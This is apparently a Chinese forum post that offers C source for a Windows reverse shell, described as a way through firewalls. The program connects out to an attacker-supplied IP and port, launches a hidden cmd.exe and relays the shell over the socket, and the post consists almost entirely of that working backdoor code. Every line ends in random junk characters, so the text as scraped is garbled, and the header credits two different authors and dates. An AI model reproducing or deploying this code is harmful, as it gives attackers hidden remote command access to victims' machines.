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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .`RC,R`C  
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/* ============================== oa7Hx<Y  
Rebound port in Windows NT e@By@r&nql  
By wind,2006/7 1i2O]e!  
===============================*/ ^a5>`W  
#include xUoY|$fI  
#include |0mI3r  
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#pragma comment(lib,"wsock32.lib") >4b39/BM  
`7ZJB$7D|*  
void OutputShell(); CxV%/ChJ#  
SOCKET sClient; 9m!fW|4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2N]s}/l  
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void main(int argc,char **argv) EUqG"h5#A{  
{ kRPg^Fw"Vw  
WSADATA stWsaData; ]42 l:at  
int nRet; P!EX;+7+x  
SOCKADDR_IN stSaiClient,stSaiServer; $Plk4 o*g  
T(DE^E@a  
if(argc != 3) W aU_Z/{0  
{ O/nS,Ux  
printf("Useage:\n\rRebound DestIP DestPort\n"); 470Pig>I8  
return; IgL8u  
} sn%fE  
r MlNp?{_  
WSAStartup(MAKEWORD(2,2),&stWsaData); 8b!_b2Za  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <Vb{QOgc;  
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stSaiClient.sin_family = AF_INET; 0 M?}S~p]  
stSaiClient.sin_port = htons(0); W!*vO>^1W  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Sy~1U  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |*i-Q @ D  
{ 4y]*"(sQ;  
printf("Bind Socket Failed!\n"); |Oe6OCPf  
return; >Mn.|:DF]&  
} _NFJm(X.  
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stSaiServer.sin_family = AF_INET; ojri~erJE?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LJD"N#c   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WyP1"e^ 9  
~WSC6Bh@9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tN~{Mt$-W  
{ -/X-.#}-  
printf("Connect Error!"); S5JnJkNn  
return; uY,FugWbl  
} 0dW1I|jR  
OutputShell(); CfU )+20  
} 5> UgBA  
$)3/N&GXR  
void OutputShell() X9R-GT  
{ tR3hbL$W  
char szBuff[1024]; P\JpE  
SECURITY_ATTRIBUTES stSecurityAttributes; sp%7iNs  
OSVERSIONINFO stOsversionInfo; 2k_Bo~.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4/b#$o<I?  
STARTUPINFO stStartupInfo; /.r($S g^  
char *szShell; myXV~6R 3  
PROCESS_INFORMATION stProcessInformation; _[ x(p6Xp  
unsigned long lBytesRead; LPC7Bdjz  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =LRUasF  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vd~O:=)4  
stSecurityAttributes.lpSecurityDescriptor = 0; 4[?Q*f!  
stSecurityAttributes.bInheritHandle = TRUE; {RK#W~h  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &7 ,wdG  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2}NfR8 N  
sEoS|"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bnlL-]]9z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SV.*Z|"^N  
stStartupInfo.wShowWindow = SW_HIDE; .D :v0Zm}m  
stStartupInfo.hStdInput = hReadPipe; 1||e !W  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >,DR{A2hSB  
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GetVersionEx(&stOsversionInfo); 8)i\d`  
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switch(stOsversionInfo.dwPlatformId) vjHbg#0%  
{ .m<-)Kx  
case 1: /F\7_  
szShell = "command.com"; KT3[{lr  
break; E(TY%wO  
default: .8"o&%$`V  
szShell = "cmd.exe"; .N%$I6w  
break; @-hy:th#  
} lB-Njr  
@FQ@* XD  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !l'Zar  
DU;]Q:r{  
send(sClient,szMsg,77,0); @gZ%>qe  
while(1) Cnn,$R=/s  
{ YXmLd'F^3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1r;Q5[@  
if(lBytesRead) zNB G;\ W  
{ m8FKr/Z-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'HOt?lpu!  
send(sClient,szBuff,lBytesRead,0); &R 0BuFL8  
} h322^24-2  
else z8gp<5=  
{ A>X#[qx  
lBytesRead=recv(sClient,szBuff,1024,0); U7{, *  
if(lBytesRead<=0) break; #*~#t4S-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -`rz[";n  
} U2G\GU1 X  
} kg_TXB  
9X!OQxmg  
return; u\6:Txqq  
}
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